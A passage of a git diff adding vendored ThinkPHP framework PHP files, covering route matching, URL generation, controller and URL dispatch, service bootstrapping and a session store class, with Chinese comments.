= $rule; + } + + // 生成路由标识的快捷访问 + $this->setRuleName(); + } + + /** + * 设置别名 + * @access public + * @param string $name + * @return $this + */ + public function name(string $name) + { + $this->name = $name; + $this->setRuleName(true); + + return $this; + } + + /** + * 设置路由标识 用于URL反解生成 + * @access protected + * @param bool $first 是否插入开头 + * @return void + */ + protected function setRuleName(bool $first = false): void + { + if ($this->name) { + $this->router->setName($this->name, $this, $first); + } + } + + /** + * 检测路由 + * @access public + * @param Request $request 请求对象 + * @param string $url 访问地址 + * @param array $match 匹配路由变量 + * @param bool $completeMatch 路由是否完全匹配 + * @return Dispatch|false + */ + public function checkRule(Request $request, string $url, $match = null, bool $completeMatch = false) + { + // 检查参数有效性 + if (!$this->checkOption($this->option, $request)) { + return false; + } + + // 合并分组参数 + $option = $this->getOption(); + $pattern = $this->getPattern(); + $url = $this->urlSuffixCheck($request, $url, $option); + + if (is_null($match)) { + $match = $this->match($url, $option, $pattern, $completeMatch); + } + + if (false !== $match) { + return $this->parseRule($request, $this->rule, $this->route, $url, $option, $match); + } + + return false; + } + + /** + * 检测路由(含路由匹配) + * @access public + * @param Request $request 请求对象 + * @param string $url 访问地址 + * @param bool $completeMatch 路由是否完全匹配 + * @return Dispatch|false + */ + public function check(Request $request, string $url, bool $completeMatch = false) + { + return $this->checkRule($request, $url, null, $completeMatch); + } + + /** + * URL后缀及Slash检查 + * @access protected + * @param Request $request 请求对象 + * @param string $url 访问地址 + * @param array $option 路由参数 + * @return string + */ + protected function urlSuffixCheck(Request $request, string $url, array $option = []): string + { + // 是否区分 / 地址访问 + if (!empty($option['remove_slash']) && '/' != $this->rule) { + $this->rule = rtrim($this->rule, '/'); + $url = rtrim($url, '|'); + } + + if (isset($option['ext'])) { + // 路由ext参数 优先于系统配置的URL伪静态后缀参数 + $url = preg_replace('/\.(' . $request->ext() . ')$/i', '', $url); + } + + return $url; + } + + /** + * 检测URL和规则路由是否匹配 + * @access private + * @param string $url URL地址 + * @param array $option 路由参数 + * @param array $pattern 变量规则 + * @param bool $completeMatch 是否完全匹配 + * @return array|false + */ + private function match(string $url, array $option, array $pattern, bool $completeMatch) + { + if (isset($option['complete_match'])) { + $completeMatch = $option['complete_match']; + } + + $depr = $this->router->config('pathinfo_depr'); + + // 检查完整规则定义 + if (isset($pattern['__url__']) && !preg_match(0 === strpos($pattern['__url__'], '/') ? $pattern['__url__'] : '/^' . $pattern['__url__'] . ($completeMatch ? '$' : '') . '/', str_replace('|', $depr, $url))) { + return false; + } + + $var = []; + $url = $depr . str_replace('|', $depr, $url); + $rule = $depr . str_replace('/', $depr, $this->rule); + + if ($depr == $rule && $depr != $url) { + return false; + } + + if (false === strpos($rule, '<')) { + if (0 === strcasecmp($rule, $url) || (!$completeMatch && 0 === strncasecmp($rule . $depr, $url . $depr, strlen($rule . $depr)))) { + return $var; + } + return false; + } + + $slash = preg_quote('/-' . $depr, '/'); + + if ($matchRule = preg_split('/[' . $slash . ']?<\w+\??>/', $rule, 2)) { + if ($matchRule[0] && 0 !== strncasecmp($rule, $url, strlen($matchRule[0]))) { + return false; + } + } + + if (preg_match_all('/[' . $slash . ']??/', $rule, $matches)) { + $regex = $this->buildRuleRegex($rule, $matches[0], $pattern, $option, $completeMatch); + + try { + if (!preg_match('/^' . $regex . '/u', $url, $match)) { + return false; + } + } catch (\Exception $e) { + throw new Exception('route pattern error'); + } + + foreach ($match as $key => $val) { + if (is_string($key)) { + $var[$key] = $val; + } + } + } + + // 成功匹配后返回URL中的动态变量数组 + return $var; + } + + /** + * 设置路由所属分组(用于注解路由) + * @access public + * @param string $name 分组名称或者标识 + * @return $this + */ + public function group(string $name) + { + $group = $this->router->getRuleName()->getGroup($name); + + if ($group) { + $this->parent = $group; + $this->setRule($this->rule); + } + + return $this; + } +} diff --git a/vendor/topthink/framework/src/think/route/RuleName.php b/vendor/topthink/framework/src/think/route/RuleName.php new file mode 100644 index 0000000..5ddc7a7 --- /dev/null +++ b/vendor/topthink/framework/src/think/route/RuleName.php @@ -0,0 +1,211 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\route; + +/** + * 路由标识管理类 + */ +class RuleName +{ + /** + * 路由标识 + * @var array + */ + protected $item = []; + + /** + * 路由规则 + * @var array + */ + protected $rule = []; + + /** + * 路由分组 + * @var array + */ + protected $group = []; + + /** + * 注册路由标识 + * @access public + * @param string $name 路由标识 + * @param RuleItem $ruleItem 路由规则 + * @param bool $first 是否优先 + * @return void + */ + public function setName(string $name, RuleItem $ruleItem, bool $first = false): void + { + $name = strtolower($name); + $item = $this->getRuleItemInfo($ruleItem); + if ($first && isset($this->item[$name])) { + array_unshift($this->item[$name], $item); + } else { + $this->item[$name][] = $item; + } + } + + /** + * 注册路由分组标识 + * @access public + * @param string $name 路由分组标识 + * @param RuleGroup $group 路由分组 + * @return void + */ + public function setGroup(string $name, RuleGroup $group): void + { + $this->group[strtolower($name)] = $group; + } + + /** + * 注册路由规则 + * @access public + * @param string $rule 路由规则 + * @param RuleItem $ruleItem 路由 + * @return void + */ + public function setRule(string $rule, RuleItem $ruleItem): void + { + $route = $ruleItem->getRoute(); + + if (is_string($route)) { + $this->rule[$rule][$route] = $ruleItem; + } else { + $this->rule[$rule][] = $ruleItem; + } + } + + /** + * 根据路由规则获取路由对象(列表) + * @access public + * @param string $rule 路由标识 + * @return RuleItem[] + */ + public function getRule(string $rule): array + { + return $this->rule[$rule] ?? []; + } + + /** + * 根据路由分组标识获取分组 + * @access public + * @param string $name 路由分组标识 + * @return RuleGroup|null + */ + public function getGroup(string $name) + { + return $this->group[strtolower($name)] ?? null; + } + + /** + * 清空路由规则 + * @access public + * @return void + */ + public function clear(): void + { + $this->item = []; + $this->rule = []; + } + + /** + * 获取全部路由列表 + * @access public + * @return array + */ + public function getRuleList(): array + { + $list = []; + + foreach ($this->rule as $rule => $rules) { + foreach ($rules as $item) { + $val = []; + + foreach (['method', 'rule', 'name', 'route', 'domain', 'pattern', 'option'] as $param) { + $call = 'get' . $param; + $val[$param] = $item->$call(); + } + + if ($item->isMiss()) { + $val['rule'] .= ''; + } + + $list[] = $val; + } + } + + return $list; + } + + /** + * 导入路由标识 + * @access public + * @param array $item 路由标识 + * @return void + */ + public function import(array $item): void + { + $this->item = $item; + } + + /** + * 根据路由标识获取路由信息(用于URL生成) + * @access public + * @param string $name 路由标识 + * @param string $domain 域名 + * @param string $method 请求类型 + * @return array + */ + public function getName(string $name = null, string $domain = null, string $method = '*'): array + { + if (is_null($name)) { + return $this->item; + } + + $name = strtolower($name); + $method = strtolower($method); + $result = []; + + if (isset($this->item[$name])) { + if (is_null($domain)) { + $result = $this->item[$name]; + } else { + foreach ($this->item[$name] as $item) { + $itemDomain = $item['domain']; + $itemMethod = $item['method']; + + if (($itemDomain == $domain || '-' == $itemDomain) && ('*' == $itemMethod || '*' == $method || $method == $itemMethod)) { + $result[] = $item; + } + } + } + } + + return $result; + } + + /** + * 获取路由信息 + * @access protected + * @param RuleItem $item 路由规则 + * @return array + */ + protected function getRuleItemInfo(RuleItem $item): array + { + return [ + 'rule' => $item->getRule(), + 'domain' => $item->getDomain(), + 'method' => $item->getMethod(), + 'suffix' => $item->getSuffix(), + ]; + } +} diff --git a/vendor/topthink/framework/src/think/route/Url.php b/vendor/topthink/framework/src/think/route/Url.php new file mode 100644 index 0000000..270439e --- /dev/null +++ b/vendor/topthink/framework/src/think/route/Url.php @@ -0,0 +1,512 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\route; + +use think\App; +use think\Route; + +/** + * 路由地址生成 + */ +class Url +{ + /** + * 应用对象 + * @var App + */ + protected $app; + + /** + * 路由对象 + * @var Route + */ + protected $route; + + /** + * URL变量 + * @var array + */ + protected $vars = []; + + /** + * 路由URL + * @var string + */ + protected $url; + + /** + * URL 根地址 + * @var string + */ + protected $root = ''; + + /** + * HTTPS + * @var bool + */ + protected $https; + + /** + * URL后缀 + * @var string|bool + */ + protected $suffix = true; + + /** + * URL域名 + * @var string|bool + */ + protected $domain = false; + + /** + * 架构函数 + * @access public + * @param string $url URL地址 + * @param array $vars 参数 + */ + public function __construct(Route $route, App $app, string $url = '', array $vars = []) + { + $this->route = $route; + $this->app = $app; + $this->url = $url; + $this->vars = $vars; + } + + /** + * 设置URL参数 + * @access public + * @param array $vars URL参数 + * @return $this + */ + public function vars(array $vars = []) + { + $this->vars = $vars; + return $this; + } + + /** + * 设置URL后缀 + * @access public + * @param string|bool $suffix URL后缀 + * @return $this + */ + public function suffix($suffix) + { + $this->suffix = $suffix; + return $this; + } + + /** + * 设置URL域名(或者子域名) + * @access public + * @param string|bool $domain URL域名 + * @return $this + */ + public function domain($domain) + { + $this->domain = $domain; + return $this; + } + + /** + * 设置URL 根地址 + * @access public + * @param string $root URL root + * @return $this + */ + public function root(string $root) + { + $this->root = $root; + return $this; + } + + /** + * 设置是否使用HTTPS + * @access public + * @param bool $https + * @return $this + */ + public function https(bool $https = true) + { + $this->https = $https; + return $this; + } + + /** + * 检测域名 + * @access protected + * @param string $url URL + * @param string|true $domain 域名 + * @return string + */ + protected function parseDomain(string &$url, $domain): string + { + if (!$domain) { + return ''; + } + + $request = $this->app->request; + $rootDomain = $request->rootDomain(); + + if (true === $domain) { + // 自动判断域名 + $domain = $request->host(); + $domains = $this->route->getDomains(); + + if (!empty($domains)) { + $routeDomain = array_keys($domains); + foreach ($routeDomain as $domainPrefix) { + if (0 === strpos($domainPrefix, '*.') && strpos($domain, ltrim($domainPrefix, '*.')) !== false) { + foreach ($domains as $key => $rule) { + $rule = is_array($rule) ? $rule[0] : $rule; + if (is_string($rule) && false === strpos($key, '*') && 0 === strpos($url, $rule)) { + $url = ltrim($url, $rule); + $domain = $key; + + // 生成对应子域名 + if (!empty($rootDomain)) { + $domain .= $rootDomain; + } + break; + } elseif (false !== strpos($key, '*')) { + if (!empty($rootDomain)) { + $domain .= $rootDomain; + } + + break; + } + } + } + } + } + } elseif (false === strpos($domain, '.') && 0 !== strpos($domain, $rootDomain)) { + $domain .= '.' . $rootDomain; + } + + if (false !== strpos($domain, '://')) { + $scheme = ''; + } else { + $scheme = $this->https || $request->isSsl() ? 'https://' : 'http://'; + } + + return $scheme . $domain; + } + + /** + * 解析URL后缀 + * @access protected + * @param string|bool $suffix 后缀 + * @return string + */ + protected function parseSuffix($suffix): string + { + if ($suffix) { + $suffix = true === $suffix ? $this->route->config('url_html_suffix') : $suffix; + + if (is_string($suffix) && $pos = strpos($suffix, '|')) { + $suffix = substr($suffix, 0, $pos); + } + } + + return (empty($suffix) || 0 === strpos($suffix, '.')) ? (string) $suffix : '.' . $suffix; + } + + /** + * 直接解析URL地址 + * @access protected + * @param string $url URL + * @param string|bool $domain Domain + * @return string + */ + protected function parseUrl(string $url, &$domain): string + { + $request = $this->app->request; + + if (0 === strpos($url, '/')) { + // 直接作为路由地址解析 + $url = substr($url, 1); + } elseif (false !== strpos($url, '\\')) { + // 解析到类 + $url = ltrim(str_replace('\\', '/', $url), '/'); + } elseif (0 === strpos($url, '@')) { + // 解析到控制器 + $url = substr($url, 1); + } elseif ('' === $url) { + $url = $request->controller() . '/' . $request->action(); + } else { + $controller = $request->controller(); + + $path = explode('/', $url); + $action = array_pop($path); + $controller = empty($path) ? $controller : array_pop($path); + + $url = $controller . '/' . $action; + } + + return $url; + } + + /** + * 分析路由规则中的变量 + * @access protected + * @param string $rule 路由规则 + * @return array + */ + protected function parseVar(string $rule): array + { + // 提取路由规则中的变量 + $var = []; + + if (preg_match_all('/<\w+\??>/', $rule, $matches)) { + foreach ($matches[0] as $name) { + $optional = false; + + if (strpos($name, '?')) { + $name = substr($name, 1, -2); + $optional = true; + } else { + $name = substr($name, 1, -1); + } + + $var[$name] = $optional ? 2 : 1; + } + } + + return $var; + } + + /** + * 匹配路由地址 + * @access protected + * @param array $rule 路由规则 + * @param array $vars 路由变量 + * @param mixed $allowDomain 允许域名 + * @return array + */ + protected function getRuleUrl(array $rule, array &$vars = [], $allowDomain = ''): array + { + $request = $this->app->request; + if (is_string($allowDomain) && false === strpos($allowDomain, '.')) { + $allowDomain .= '.' . $request->rootDomain(); + } + $port = $request->port(); + + foreach ($rule as $item) { + $url = $item['rule']; + $pattern = $this->parseVar($url); + $domain = $item['domain']; + $suffix = $item['suffix']; + + if ('-' == $domain) { + $domain = is_string($allowDomain) ? $allowDomain : $request->host(true); + } + + if (is_string($allowDomain) && $domain != $allowDomain) { + continue; + } + + if ($port && !in_array($port, [80, 443])) { + $domain .= ':' . $port; + } + + if (empty($pattern)) { + return [rtrim($url, '?/-'), $domain, $suffix]; + } + + $type = $this->route->config('url_common_param'); + $keys = []; + + foreach ($pattern as $key => $val) { + if (isset($vars[$key])) { + $url = str_replace(['[:' . $key . ']', '<' . $key . '?>', ':' . $key, '<' . $key . '>'], $type ? $vars[$key] : urlencode((string) $vars[$key]), $url); + $keys[] = $key; + $url = str_replace(['/?', '-?'], ['/', '-'], $url); + $result = [rtrim($url, '?/-'), $domain, $suffix]; + } elseif (2 == $val) { + $url = str_replace(['/[:' . $key . ']', '[:' . $key . ']', '<' . $key . '?>'], '', $url); + $url = str_replace(['/?', '-?'], ['/', '-'], $url); + $result = [rtrim($url, '?/-'), $domain, $suffix]; + } else { + $result = null; + $keys = []; + break; + } + } + + $vars = array_diff_key($vars, array_flip($keys)); + + if (isset($result)) { + return $result; + } + } + + return []; + } + + public function build() + { + // 解析URL + $url = $this->url; + $suffix = $this->suffix; + $domain = $this->domain; + $request = $this->app->request; + $vars = $this->vars; + + if (0 === strpos($url, '[') && $pos = strpos($url, ']')) { + // [name] 表示使用路由命名标识生成URL + $name = substr($url, 1, $pos - 1); + $url = 'name' . substr($url, $pos + 1); + } + + if (false === strpos($url, '://') && 0 !== strpos($url, '/')) { + $info = parse_url($url); + $url = !empty($info['path']) ? $info['path'] : ''; + + if (isset($info['fragment'])) { + // 解析锚点 + $anchor = $info['fragment']; + + if (false !== strpos($anchor, '?')) { + // 解析参数 + [$anchor, $info['query']] = explode('?', $anchor, 2); + } + + if (false !== strpos($anchor, '@')) { + // 解析域名 + [$anchor, $domain] = explode('@', $anchor, 2); + } + } elseif (strpos($url, '@') && false === strpos($url, '\\')) { + // 解析域名 + [$url, $domain] = explode('@', $url, 2); + } + } + + if ($url) { + $checkName = isset($name) ? $name : $url . (isset($info['query']) ? '?' . $info['query'] : ''); + $checkDomain = $domain && is_string($domain) ? $domain : null; + + $rule = $this->route->getName($checkName, $checkDomain); + + if (empty($rule) && isset($info['query'])) { + $rule = $this->route->getName($url, $checkDomain); + // 解析地址里面参数 合并到vars + parse_str($info['query'], $params); + $vars = array_merge($params, $vars); + unset($info['query']); + } + } + + if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) { + // 匹配路由命名标识 + $url = $match[0]; + + if ($domain && !empty($match[1])) { + $domain = $match[1]; + } + + if (!is_null($match[2])) { + $suffix = $match[2]; + } + } elseif (!empty($rule) && isset($name)) { + throw new \InvalidArgumentException('route name not exists:' . $name); + } else { + // 检测URL绑定 + $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null); + + if ($bind && 0 === strpos($url, $bind)) { + $url = substr($url, strlen($bind) + 1); + } else { + $binds = $this->route->getBind(); + + foreach ($binds as $key => $val) { + if (is_string($val) && 0 === strpos($url, $val) && substr_count($val, '/') > 1) { + $url = substr($url, strlen($val) + 1); + $domain = $key; + break; + } + } + } + + // 路由标识不存在 直接解析 + $url = $this->parseUrl($url, $domain); + + if (isset($info['query'])) { + // 解析地址里面参数 合并到vars + parse_str($info['query'], $params); + $vars = array_merge($params, $vars); + } + } + + // 还原URL分隔符 + $depr = $this->route->config('pathinfo_depr'); + $url = str_replace('/', $depr, $url); + + $file = $request->baseFile(); + if ($file && 0 !== strpos($request->url(), $file)) { + $file = str_replace('\\', '/', dirname($file)); + } + + $url = rtrim($file, '/') . '/' . $url; + + // URL后缀 + if ('/' == substr($url, -1) || '' == $url) { + $suffix = ''; + } else { + $suffix = $this->parseSuffix($suffix); + } + + // 锚点 + $anchor = !empty($anchor) ? '#' . $anchor : ''; + + // 参数组装 + if (!empty($vars)) { + // 添加参数 + if ($this->route->config('url_common_param')) { + $vars = http_build_query($vars); + $url .= $suffix . '?' . $vars . $anchor; + } else { + foreach ($vars as $var => $val) { + $val = (string) $val; + if ('' !== $val) { + $url .= $depr . $var . $depr . urlencode($val); + } + } + + $url .= $suffix . $anchor; + } + } else { + $url .= $suffix . $anchor; + } + + // 检测域名 + $domain = $this->parseDomain($url, $domain); + + // URL组装 + return $domain . rtrim($this->root, '/') . '/' . ltrim($url, '/'); + } + + public function __toString() + { + return $this->build(); + } + + public function __debugInfo() + { + return [ + 'url' => $this->url, + 'vars' => $this->vars, + 'suffix' => $this->suffix, + 'domain' => $this->domain, + ]; + } +} diff --git a/vendor/topthink/framework/src/think/route/dispatch/Callback.php b/vendor/topthink/framework/src/think/route/dispatch/Callback.php new file mode 100644 index 0000000..7658c3d --- /dev/null +++ b/vendor/topthink/framework/src/think/route/dispatch/Callback.php @@ -0,0 +1,30 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\route\dispatch; + +use think\route\Dispatch; + +/** + * Callback Dispatcher + */ +class Callback extends Dispatch +{ + public function exec() + { + // 执行回调方法 + $vars = array_merge($this->request->param(), $this->param); + + return $this->app->invoke($this->dispatch, $vars); + } + +} diff --git a/vendor/topthink/framework/src/think/route/dispatch/Controller.php b/vendor/topthink/framework/src/think/route/dispatch/Controller.php new file mode 100644 index 0000000..9182dec --- /dev/null +++ b/vendor/topthink/framework/src/think/route/dispatch/Controller.php @@ -0,0 +1,183 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\route\dispatch; + +use ReflectionClass; +use ReflectionException; +use ReflectionMethod; +use think\App; +use think\exception\ClassNotFoundException; +use think\exception\HttpException; +use think\helper\Str; +use think\route\Dispatch; + +/** + * Controller Dispatcher + */ +class Controller extends Dispatch +{ + /** + * 控制器名 + * @var string + */ + protected $controller; + + /** + * 操作名 + * @var string + */ + protected $actionName; + + public function init(App $app) + { + parent::init($app); + + $result = $this->dispatch; + + if (is_string($result)) { + $result = explode('/', $result); + } + + // 获取控制器名 + $controller = strip_tags($result[0] ?: $this->rule->config('default_controller')); + + if (strpos($controller, '.')) { + $pos = strrpos($controller, '.'); + $this->controller = substr($controller, 0, $pos) . '.' . Str::studly(substr($controller, $pos + 1)); + } else { + $this->controller = Str::studly($controller); + } + + // 获取操作名 + $this->actionName = strip_tags($result[1] ?: $this->rule->config('default_action')); + + // 设置当前请求的控制器、操作 + $this->request + ->setController($this->controller) + ->setAction($this->actionName); + } + + public function exec() + { + try { + // 实例化控制器 + $instance = $this->controller($this->controller); + } catch (ClassNotFoundException $e) { + throw new HttpException(404, 'controller not exists:' . $e->getClass()); + } + + // 注册控制器中间件 + $this->registerControllerMiddleware($instance); + + return $this->app->middleware->pipeline('controller') + ->send($this->request) + ->then(function () use ($instance) { + // 获取当前操作名 + $suffix = $this->rule->config('action_suffix'); + $action = $this->actionName . $suffix; + + if (is_callable([$instance, $action])) { + $vars = $this->request->param(); + try { + $reflect = new ReflectionMethod($instance, $action); + // 严格获取当前操作方法名 + $actionName = $reflect->getName(); + if ($suffix) { + $actionName = substr($actionName, 0, -strlen($suffix)); + } + + $this->request->setAction($actionName); + } catch (ReflectionException $e) { + $reflect = new ReflectionMethod($instance, '__call'); + $vars = [$action, $vars]; + $this->request->setAction($action); + } + } else { + // 操作不存在 + throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()'); + } + + $data = $this->app->invokeReflectMethod($instance, $reflect, $vars); + + return $this->autoResponse($data); + }); + } + + /** + * 使用反射机制注册控制器中间件 + * @access public + * @param object $controller 控制器实例 + * @return void + */ + protected function registerControllerMiddleware($controller): void + { + $class = new ReflectionClass($controller); + + if ($class->hasProperty('middleware')) { + $reflectionProperty = $class->getProperty('middleware'); + $reflectionProperty->setAccessible(true); + + $middlewares = $reflectionProperty->getValue($controller); + + foreach ($middlewares as $key => $val) { + if (!is_int($key)) { + if (isset($val['only']) && !in_array($this->request->action(true), array_map(function ($item) { + return strtolower($item); + }, is_string($val['only']) ? explode(",", $val['only']) : $val['only']))) { + continue; + } elseif (isset($val['except']) && in_array($this->request->action(true), array_map(function ($item) { + return strtolower($item); + }, is_string($val['except']) ? explode(',', $val['except']) : $val['except']))) { + continue; + } else { + $val = $key; + } + } + + if (is_string($val) && strpos($val, ':')) { + $val = explode(':', $val); + if (count($val) > 1) { + $val = [$val[0], array_slice($val, 1)]; + } + } + + $this->app->middleware->controller($val); + } + } + } + + /** + * 实例化访问控制器 + * @access public + * @param string $name 资源地址 + * @return object + * @throws ClassNotFoundException + */ + public function controller(string $name) + { + $suffix = $this->rule->config('controller_suffix') ? 'Controller' : ''; + + $controllerLayer = $this->rule->config('controller_layer') ?: 'controller'; + $emptyController = $this->rule->config('empty_controller') ?: 'Error'; + + $class = $this->app->parseClass($controllerLayer, $name . $suffix); + + if (class_exists($class)) { + return $this->app->make($class, [], true); + } elseif ($emptyController && class_exists($emptyClass = $this->app->parseClass($controllerLayer, $emptyController . $suffix))) { + return $this->app->make($emptyClass, [], true); + } + + throw new ClassNotFoundException('class not exists:' . $class, $class); + } +} diff --git a/vendor/topthink/framework/src/think/route/dispatch/Url.php b/vendor/topthink/framework/src/think/route/dispatch/Url.php new file mode 100644 index 0000000..eb89f54 --- /dev/null +++ b/vendor/topthink/framework/src/think/route/dispatch/Url.php @@ -0,0 +1,118 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\route\dispatch; + +use think\exception\HttpException; +use think\helper\Str; +use think\Request; +use think\route\Rule; + +/** + * Url Dispatcher + */ +class Url extends Controller +{ + + public function __construct(Request $request, Rule $rule, $dispatch) + { + $this->request = $request; + $this->rule = $rule; + // 解析默认的URL规则 + $dispatch = $this->parseUrl($dispatch); + + parent::__construct($request, $rule, $dispatch, $this->param); + } + + /** + * 解析URL地址 + * @access protected + * @param string $url URL + * @return array + */ + protected function parseUrl(string $url): array + { + $depr = $this->rule->config('pathinfo_depr'); + $bind = $this->rule->getRouter()->getDomainBind(); + + if ($bind && preg_match('/^[a-z]/is', $bind)) { + $bind = str_replace('/', $depr, $bind); + // 如果有域名绑定 + $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr); + } + + $path = $this->rule->parseUrlPath($url); + if (empty($path)) { + return [null, null]; + } + + // 解析控制器 + $controller = !empty($path) ? array_shift($path) : null; + + if ($controller && !preg_match('/^[A-Za-z0-9][\w|\.]*$/', $controller)) { + throw new HttpException(404, 'controller not exists:' . $controller); + } + + // 解析操作 + $action = !empty($path) ? array_shift($path) : null; + $var = []; + + // 解析额外参数 + if ($path) { + preg_replace_callback('/(\w+)\|([^\|]+)/', function ($match) use (&$var) { + $var[$match[1]] = strip_tags($match[2]); + }, implode('|', $path)); + } + + $panDomain = $this->request->panDomain(); + if ($panDomain && $key = array_search('*', $var)) { + // 泛域名赋值 + $var[$key] = $panDomain; + } + + // 设置当前请求的参数 + $this->param = $var; + + // 封装路由 + $route = [$controller, $action]; + + if ($this->hasDefinedRoute($route)) { + throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url)); + } + + return $route; + } + + /** + * 检查URL是否已经定义过路由 + * @access protected + * @param array $route 路由信息 + * @return bool + */ + protected function hasDefinedRoute(array $route): bool + { + [$controller, $action] = $route; + + // 检查地址是否被定义过路由 + $name = strtolower(Str::studly($controller) . '/' . $action); + + $host = $this->request->host(true); + $method = $this->request->method(); + + if ($this->rule->getRouter()->getName($name, $host, $method)) { + return true; + } + + return false; + } + +} diff --git a/vendor/topthink/framework/src/think/service/ModelService.php b/vendor/topthink/framework/src/think/service/ModelService.php new file mode 100644 index 0000000..a212a58 --- /dev/null +++ b/vendor/topthink/framework/src/think/service/ModelService.php @@ -0,0 +1,47 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\service; + +use think\Model; +use think\Service; + +/** + * 模型服务类 + */ +class ModelService extends Service +{ + public function boot() + { + Model::setDb($this->app->db); + Model::setEvent($this->app->event); + Model::setInvoker([$this->app, 'invoke']); + Model::maker(function (Model $model) { + $config = $this->app->config; + + $isAutoWriteTimestamp = $model->getAutoWriteTimestamp(); + + if (is_null($isAutoWriteTimestamp)) { + // 自动写入时间戳 + $model->isAutoWriteTimestamp($config->get('database.auto_timestamp', 'timestamp')); + } + + $dateFormat = $model->getDateFormat(); + + if (is_null($dateFormat)) { + // 设置时间戳格式 + $model->setDateFormat($config->get('database.datetime_format', 'Y-m-d H:i:s')); + } + + }); + } +} diff --git a/vendor/topthink/framework/src/think/service/PaginatorService.php b/vendor/topthink/framework/src/think/service/PaginatorService.php new file mode 100644 index 0000000..b13dc1d --- /dev/null +++ b/vendor/topthink/framework/src/think/service/PaginatorService.php @@ -0,0 +1,52 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\service; + +use think\Paginator; +use think\paginator\driver\Bootstrap; +use think\Service; + +/** + * 分页服务类 + */ +class PaginatorService extends Service +{ + public function register() + { + if (!$this->app->bound(Paginator::class)) { + $this->app->bind(Paginator::class, Bootstrap::class); + } + } + + public function boot() + { + Paginator::maker(function (...$args) { + return $this->app->make(Paginator::class, $args, true); + }); + + Paginator::currentPathResolver(function () { + return $this->app->request->baseUrl(); + }); + + Paginator::currentPageResolver(function ($varPage = 'page') { + + $page = $this->app->request->param($varPage); + + if (filter_var($page, FILTER_VALIDATE_INT) !== false && (int) $page >= 1) { + return (int) $page; + } + + return 1; + }); + } +} diff --git a/vendor/topthink/framework/src/think/service/ValidateService.php b/vendor/topthink/framework/src/think/service/ValidateService.php new file mode 100644 index 0000000..d96dea0 --- /dev/null +++ b/vendor/topthink/framework/src/think/service/ValidateService.php @@ -0,0 +1,31 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\service; + +use think\Service; +use think\Validate; + +/** + * 验证服务类 + */ +class ValidateService extends Service +{ + public function boot() + { + Validate::maker(function (Validate $validate) { + $validate->setLang($this->app->lang); + $validate->setDb($this->app->db); + $validate->setRequest($this->app->request); + }); + } +} diff --git a/vendor/topthink/framework/src/think/session/Store.php b/vendor/topthink/framework/src/think/session/Store.php new file mode 100644 index 0000000..03ece29 --- /dev/null +++ b/vendor/topthink/framework/src/think/session/Store.php @@ -0,0 +1,340 @@ + +// +---------------------------------------------------------------------- + +namespace think\session; + +use think\contract\SessionHandlerInterface; +use think\helper\Arr; + +class Store +{ + + /** + * Session数据 + * @var array + */ + protected $data = []; + + /** + * 是否初始化 + * @var bool + */ + protected $init = null; + + /** + * 记录Session name + * @var string + */ + protected $name = 'PHPSESSID'; + + /** + * 记录Session Id + * @var string + */ + protected $id; + + /** + * @var SessionHandlerInterface + */ + protected $handler; + + /** @var array */ + protected $serialize = []; + + public function __construct($name, SessionHandlerInterface $handler, array $serialize = null) + { + $this->name = $name; + $this->handler = $handler; + + if (!empty($serialize)) { + $this->serialize = $serialize; + } + + $this->setId(); + } + + /** + * 设置数据 + * @access public + * @param array $data + * @return void + */ + public function setData(array $data): void + { + $this->data = $data; + } + + /** + * session初始化 + * @access public + * @return void + */ + public function init(): void + { + // 读取缓存数据 + $data = $this->handler->read($this->getId()); + + if (!empty($data)) { + $this->data = array_merge($this->data, $this->unserialize($data)); + } + + $this->init = true; + } + + /** + * 设置SessionName + * @access public + * @param string $name session_name + * @return void + */ + public function setName(string $name): void + { + $this->name = $name; + } + + /** + * 获取sessionName + * @access public + * @return string + */ + public function getName(): string + { + return $this->name; + } + + /** + * session_id设置 + * @access public + * @param string $id session_id + * @return void + */ + public function setId($id = null): void + { + $this->id = is_string($id) && strlen($id) === 32 && ctype_alnum($id) ? $id : md5(microtime(true) . session_create_id()); + } + + /** + * 获取session_id + * @access public + * @return string + */ + public function getId(): string + { + return $this->id; + } + + /** + * 获取所有数据 + * @return array + */ + public function all(): array + { + return $this->data; + } + + /** + * session设置 + * @access public + * @param string $name session名称 + * @param mixed $value session值 + * @return void + */ + public function set(string $name, $value): void + { + Arr::set($this->data, $name, $value); + } + + /** + * session获取 + * @access public + * @param string $name session名称 + * @param mixed $default 默认值 + * @return mixed + */ + public function get(string $name, $default = null) + { + return Arr::get($this->data, $name, $default); + } + + /** + * session获取并删除 + * @access public + * @param string $name session名称 + * @return mixed + */ + public function pull(string $name) + { + return Arr::pull($this->data, $name); + } + + /** + * 添加数据到一个session数组 + * @access public + * @param string $key + * @param mixed $value + * @return void + */ + public function push(string $key, $value): void + { + $array = $this->get($key, []); + + $array[] = $value; + + $this->set($key, $array); + } + + /** + * 判断session数据 + * @access public + * @param string $name session名称 + * @return bool + */ + public function has(string $name): bool + { + return Arr::has($this->data, $name); + } + + /** + * 删除session数据 + * @access public + * @param string $name session名称 + * @return void + */ + public function delete(string $name): void + { + Arr::forget($this->data, $name); + } + + /** + * 清空session数据 + * @access public + * @return void + */ + public function clear(): void + { + $this->data = []; + } + + /** + * 销毁session + */ + public function destroy(): void + { + $this->clear(); + + $this->regenerate(true); + } + + /** + * 重新生成session id + * @param bool $destroy + */ + public function regenerate(bool $destroy = false): void + { + if ($destroy) { + $this->handler->delete($this->getId()); + } + + $this->setId(); + } + + /** + * 保存session数据 + * @access public + * @return void + */ + public function save(): void + { + $this->clearFlashData(); + + $sessionId = $this->getId(); + + if (!empty($this->data)) { + $data = $this->serialize($this->data); + + $this->handler->write($sessionId, $data); + } else { + $this->handler->delete($sessionId); + } + + $this->init = false; + } + + /** + * session设置 下一次请求有效 + * @access public + * @param string $name session名称 + * @param mixed $value 